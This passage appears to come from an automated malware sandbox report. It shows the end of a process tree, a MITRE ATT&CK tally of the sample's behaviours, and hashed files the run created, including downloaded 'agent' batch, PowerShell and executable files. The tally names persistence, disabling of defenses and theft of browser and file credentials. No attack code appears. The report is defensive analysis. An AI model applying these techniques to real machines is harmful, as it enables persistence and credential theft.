                                                                                                                                                                                                                                                PID:2236
                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                  PID:5192
                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                    PID:5516
                                                                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                      PID:5896
                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                        PID:7000

                                                                                                                                                                                                                                                      Network

                                                                                                                                                                                                                                                            MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                            Reconnaissance

                                                                                                                                                                                                                                                            Resource Development

                                                                                                                                                                                                                                                            Initial Access

                                                                                                                                                                                                                                                            Execution

                                                                                                                                                                                                                                                            Command and Scripting Interpreter

                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                            T1059

                                                                                                                                                                                                                                                            PowerShell

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1059.001

                                                                                                                                                                                                                                                            Windows Command Shell

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1059.003

                                                                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1053

                                                                                                                                                                                                                                                            Scheduled Task

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1053.005

                                                                                                                                                                                                                                                            Persistence

                                                                                                                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                            T1547

                                                                                                                                                                                                                                                            Active Setup

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1547.014

                                                                                                                                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1547.001

                                                                                                                                                                                                                                                            Create or Modify System Process

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1543

                                                                                                                                                                                                                                                            Windows Service

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1543.003

                                                                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1053

                                                                                                                                                                                                                                                            Scheduled Task

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1053.005

                                                                                                                                                                                                                                                            Privilege Escalation

                                                                                                                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                            T1547

                                                                                                                                                                                                                                                            Active Setup

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1547.014

                                                                                                                                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1547.001

                                                                                                                                                                                                                                                            Create or Modify System Process

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1543

                                                                                                                                                                                                                                                            Windows Service

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1543.003

                                                                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1053

                                                                                                                                                                                                                                                            Scheduled Task

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1053.005

                                                                                                                                                                                                                                                            Defense Evasion

                                                                                                                                                                                                                                                            Deobfuscate/Decode Files or Information

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1140

                                                                                                                                                                                                                                                            Impair Defenses

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1562

                                                                                                                                                                                                                                                            Disable or Modify Tools

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1562.001

                                                                                                                                                                                                                                                            Modify Registry

                                                                                                                                                                                                                                                            4
                                                                                                                                                                                                                                                            T1112

                                                                                                                                                                                                                                                            Subvert Trust Controls

                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                            T1553

                                                                                                                                                                                                                                                            SIP and Trust Provider Hijacking

                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                            T1553.003

                                                                                                                                                                                                                                                            Credential Access

                                                                                                                                                                                                                                                            Credentials from Password Stores

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1555

                                                                                                                                                                                                                                                            Credentials from Web Browsers

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1555.003

                                                                                                                                                                                                                                                            Unsecured Credentials

                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                            T1552

                                                                                                                                                                                                                                                            Credentials In Files

                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                            T1552.001

                                                                                                                                                                                                                                                            Discovery

                                                                                                                                                                                                                                                            Browser Information Discovery

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1217

                                                                                                                                                                                                                                                            Peripheral Device Discovery

                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                            T1120

                                                                                                                                                                                                                                                            Process Discovery

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1057

                                                                                                                                                                                                                                                            Query Registry

                                                                                                                                                                                                                                                            5
                                                                                                                                                                                                                                                            T1012

                                                                                                                                                                                                                                                            System Information Discovery

                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                            T1082

                                                                                                                                                                                                                                                            System Location Discovery

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1614

                                                                                                                                                                                                                                                            System Language Discovery

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1614.001

                                                                                                                                                                                                                                                            System Time Discovery

                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                            T1124

                                                                                                                                                                                                                                                            Lateral Movement

                                                                                                                                                                                                                                                            Collection

                                                                                                                                                                                                                                                            Data from Local System

                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                            T1005

                                                                                                                                                                                                                                                            Command and Control

                                                                                                                                                                                                                                                            Exfiltration

                                                                                                                                                                                                                                                            Impact

                                                                                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                                                                                            Downloads

                                                                                                                                                                                                                                                            A4AF55B6855DE5412FC3B84484109F26
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A4AF55B6855DE5412FC3B84484109F26
                                                                                                                                                                                                                                                            • Size 182B
                                                                                                                                                                                                                                                            • SHA256 b924f92bcd23e11cbd3e479f8cf5dc3b898a931ec32ea949513552f93467b76e
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            A4AF55B6855DE5412FC3B84484109F26
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A4AF55B6855DE5412FC3B84484109F26
                                                                                                                                                                                                                                                            • Size 182B
                                                                                                                                                                                                                                                            • SHA256 fcc831238895167bfbcaa86a96892beaefd922f66c81dd3e4392873a7adf0db7
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            settings.dat
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
                                                                                                                                                                                                                                                            • Size 40B
                                                                                                                                                                                                                                                            • SHA256 fec59f19ff581d9565689a431b276112e2f727f74c5c3411a324a32ee19faff6
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            BrowsingTopicsState
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                                                                                                                                                                                                                                            • Size 414B
                                                                                                                                                                                                                                                            • SHA256 d4a17a17d3b0778dd71c2ee83bc57477e2d7ebb9fc61aaf3e2b90997dd7fe2b3
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            Local State
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                                                                                            • Size 115KB
                                                                                                                                                                                                                                                            • SHA256 540163bba8385a19267f928e05fc2aa061f46f2b8872145bacadf17d7e18d945
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            Local State
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                                                                                            • Size 115KB
                                                                                                                                                                                                                                                            • SHA256 e86ebd4e7b5a5d384bc168b57cce7e5c465cbbe46bc13eecc7021db087f65d6b
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            6251e5e5-2779-4adf-8190-4dbd25390ed3.tmp
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\6251e5e5-2779-4adf-8190-4dbd25390ed3.tmp
                                                                                                                                                                                                                                                            • Size 27KB
                                                                                                                                                                                                                                                            • SHA256 975f61dfe4695e1892daeb01740b0f75a3489584701783b4eaab691c7b351ce3
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            blocklist
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
                                                                                                                                                                                                                                                            • Size 105KB
                                                                                                                                                                                                                                                            • SHA256 e277d04e8a6e4444d85f917adaeeb37210819632ab74b031b9e0295ffd413f7b
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            settings.dat
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                                                                                            • Size 280B
                                                                                                                                                                                                                                                            • SHA256 a4b35a6422c1c682176591bd42ebef96b0cb78607f98b3c5ee2c0e2d44e526da
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            settings.dat
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                                                                                            • Size 280B
                                                                                                                                                                                                                                                            • SHA256 2e4c78c9d4b6915833ca44ba5f9b735c9d9e0bf49d6aa045c47aaaa63f1f9359
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            LOG.old
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
                                                                                                                                                                                                                                                            • Size 6KB
                                                                                                                                                                                                                                                            • SHA256 a4d858915feefc58dc4dd83190d66e9c7942d33e19d2d9cba61017f5dc530ab1
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            LOG.old
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
                                                                                                                                                                                                                                                            • Size 6KB
                                                                                                                                                                                                                                                            • SHA256 6119ac10f691d7e772dbbb3717eb8a6d98bd9d8b8fb13c4fe5315575a231d4b1
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            BookmarkMergedSurfaceOrdering
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
                                                                                                                                                                                                                                                            • Size 6B
                                                                                                                                                                                                                                                            • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            the-real-index
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                                                                                                                                                                            • Size 3KB
                                                                                                                                                                                                                                                            • SHA256 96ce8738fabb79e8e40d15e41e9f82a37af2d39dae2895d653437ca713aed89e
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            the-real-index~RFe58b05f.TMP
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58b05f.TMP
                                                                                                                                                                                                                                                            • Size 3KB
                                                                                                                                                                                                                                                            • SHA256 02c69760cce280ea97bfca0e004774a7d2333a2ab99d23cbbafd7401ba5c425a
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            SiteList-Enterprise.json
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
                                                                                                                                                                                                                                                            • Size 2B
                                                                                                                                                                                                                                                            • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            Edge Profile.ico
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
                                                                                                                                                                                                                                                            • Size 70KB
                                                                                                                                                                                                                                                            • SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            Network Persistent State
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                                                                                            • Size 1KB
                                                                                                                                                                                                                                                            • SHA256 0297b8dba67957c773f8b91e7c104ca57fddd2d5ba5260f09392447a339cf22b
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            Network Persistent State
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                                                                                            • Size 1KB
                                                                                                                                                                                                                                                            • SHA256 af55a54ae79fe2ee1ce4e4f8eedde09ec2caf02ce69a3baa31303a9ad8ed404a
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            Network Persistent State
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                                                                                            • Size 111B
                                                                                                                                                                                                                                                            • SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            SCT Auditing Pending Reports
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                                                                                                                                                                                            • Size 2B
                                                                                                                                                                                                                                                            • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            Preferences
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                            • Size 13KB
                                                                                                                                                                                                                                                            • SHA256 ed822f11b0090990c050bd7173696b45b1282549535a09f1bd02e5687f9d3605
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            Preferences
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                            • Size 14KB
                                                                                                                                                                                                                                                            • SHA256 fa3dc2e3ead5a6e300a71b2d3e93a3e2b42998f238867492bed0a5a13dd1b36c
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            Preferences
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                                                                            • Size 13KB
                                                                                                                                                                                                                                                            • SHA256 668c876e4dc0903d1beeec470600c4ca9e45b7dbc9df174dc771e6e3a8feb5f3
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            Secure Preferences
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
                                                                                                                                                                                                                                                            • Size 31KB
                                                                                                                                                                                                                                                            • SHA256 0a57a1b89920b311130cbad2f2c2c2302246fc7f37c8c10a4f7ea5caae52f71b
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            the-real-index
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\8f35d4dc-b060-4880-abcf-35b75a3e9ccb\index-dir\the-real-index
                                                                                                                                                                                                                                                            • Size 1KB
                                                                                                                                                                                                                                                            • SHA256 09011a0a72c371d238ec91f0fa07c2ee399fdd51bfeea9b783df856c868c4c0d
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            the-real-index~RFe5cf767.TMP
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\8f35d4dc-b060-4880-abcf-35b75a3e9ccb\index-dir\the-real-index~RFe5cf767.TMP
                                                                                                                                                                                                                                                            • Size 1KB
                                                                                                                                                                                                                                                            • SHA256 473bdd81b184cb89808c7fe27c0f5a13f8053fa7f1861a89c33932eed28f513f
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            index.txt
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
                                                                                                                                                                                                                                                            • Size 371B
                                                                                                                                                                                                                                                            • SHA256 8e0fdbff63ace99d246be962b367fd63dc75e576abe8c8496c08b1e3cbf6024d
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            sync_diagnostic.log
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
                                                                                                                                                                                                                                                            • Size 4KB
                                                                                                                                                                                                                                                            • SHA256 0bfd854be71af234226e2b55532f447ccf3ddceb0242ea20027703e20972bcad
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            8069c34d-0d44-421c-89b3-473cf78e3c90.tmp
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\8069c34d-0d44-421c-89b3-473cf78e3c90.tmp
                                                                                                                                                                                                                                                            • Size 22KB
                                                                                                                                                                                                                                                            • SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            Local State
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                                                                            • Size 20KB
                                                                                                                                                                                                                                                            • SHA256 2515a27a83dad9cf029b9c8d861549a8f9095088124b9301f67b9a15edec4e13
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            Local State
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                                                                            • Size 20KB
                                                                                                                                                                                                                                                            • SHA256 69c8d58642a2ce34166c46c01532905e2db4d29419f62fbda0aabe29c0ca774a
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            Local State
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                                                                            • Size 8KB
                                                                                                                                                                                                                                                            • SHA256 febadb06adb8f51bb9ff2b7ec5174e8b6daec456e7c52feace098960e8c00e62
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            Local State
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                                                                            • Size 8KB
                                                                                                                                                                                                                                                            • SHA256 1b2fbff5d5b0f902218ffebec58bbbc86ba021ed02adaecb0ffea91b8ddda5a1
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            d5c4ef8a-cef6-49d3-8be5-acd184d21975.tmp
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\d5c4ef8a-cef6-49d3-8be5-acd184d21975.tmp
                                                                                                                                                                                                                                                            • Size 20KB
                                                                                                                                                                                                                                                            • SHA256 536a97159440f1462e4dc2b4631bbfd212f66af9702a39917b8fefcb7bfd6c00
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            9945d2d2-cf62-4dd0-a60c-1bbb331591ba.tmp
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\9945d2d2-cf62-4dd0-a60c-1bbb331591ba.tmp
                                                                                                                                                                                                                                                            • Size 13B
                                                                                                                                                                                                                                                            • SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            www.bing[1].xml
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\YQO51DHT\www.bing[1].xml
                                                                                                                                                                                                                                                            • Size 11KB
                                                                                                                                                                                                                                                            • SHA256 e44790d622a2f9b811bc3395edff661cbf41d002f1b636c8f17dd8eaefb8afe7
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            __PSScriptPolicyTest_glus2jrw.omb.ps1
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_glus2jrw.omb.ps1
                                                                                                                                                                                                                                                            • Size 60B
                                                                                                                                                                                                                                                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            agent_61b66c3000abd2a9.bat
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\Downloads\agent_61b66c3000abd2a9.bat
                                                                                                                                                                                                                                                            • Size 341B
                                                                                                                                                                                                                                                            • SHA256 fff327d0c54c9ab1aa4cc7c82a53a06a0451e2435bde1fcca104e52c3f61d2d0
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            agent_61b66c3000abd2a9.bat:Zone.Identifier
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\Downloads\agent_61b66c3000abd2a9.bat:Zone.Identifier
                                                                                                                                                                                                                                                            • Size 206B
                                                                                                                                                                                                                                                            • SHA256 da9f48f64dd997e4b1ef9d9587e63e0aeef8c64aea1c8f857929641b85478de5
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            agent_650285c28563a9bc.exe.crdownload
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\Downloads\agent_650285c28563a9bc.exe.crdownload
                                                                                                                                                                                                                                                            • Size 2.5MB
                                                                                                                                                                                                                                                            • SHA256 e8f8ea8e8797c99e58231c8738a971c8d23c24c4ce219cb39812e3d1f2fd50d2
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            agent_650285c28563a9bc.exe:Zone.Identifier
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\Downloads\agent_650285c28563a9bc.exe:Zone.Identifier
                                                                                                                                                                                                                                                            • Size 206B
                                                                                                                                                                                                                                                            • SHA256 a2b77e438daa0753609cd1222d835c80607a3a9e7c77a0f0f8be3caa96c8ea01
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            agent_81cf408b159e191c.exe:Zone.Identifier
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\Downloads\agent_81cf408b159e191c.exe:Zone.Identifier
                                                                                                                                                                                                                                                            • Size 206B
                                                                                                                                                                                                                                                            • SHA256 2f63e77f35abc0c6bdf9904b70fed0bb32dd89059aba559e11836cf7f75cbda4
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            agent_abe6b8bf85763a6b.exe.crdownload
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\Downloads\agent_abe6b8bf85763a6b.exe.crdownload
                                                                                                                                                                                                                                                            • Size 2.5MB
                                                                                                                                                                                                                                                            • SHA256 1f2dc178252e63e9ce6d7410f2d721e049c34d3fd9a35872f8af60dcb66ab6a9
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            agent_abe6b8bf85763a6b.exe:Zone.Identifier
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\Downloads\agent_abe6b8bf85763a6b.exe:Zone.Identifier
                                                                                                                                                                                                                                                            • Size 206B
                                                                                                                                                                                                                                                            • SHA256 255b0d4a69d7757acd6143de3811d02d32489cb7c348f08fe8e5935b042ec2c7
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            agent_d8e3b1c9555414b0.ps1:Zone.Identifier
                                                                                                                                                                                                                                                            • Path C:\Users\Admin\Downloads\agent_d8e3b1c9555414b0.ps1:Zone.Identifier
                                                                                                                                                                                                                                                            • Size 206B
                                                                                                                                                                                                                                                            • SHA256 53d71622f51b3cda4b7e6da864c13be1f4e9910d7995c5ef8c70815050c18712
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                            Submit Download

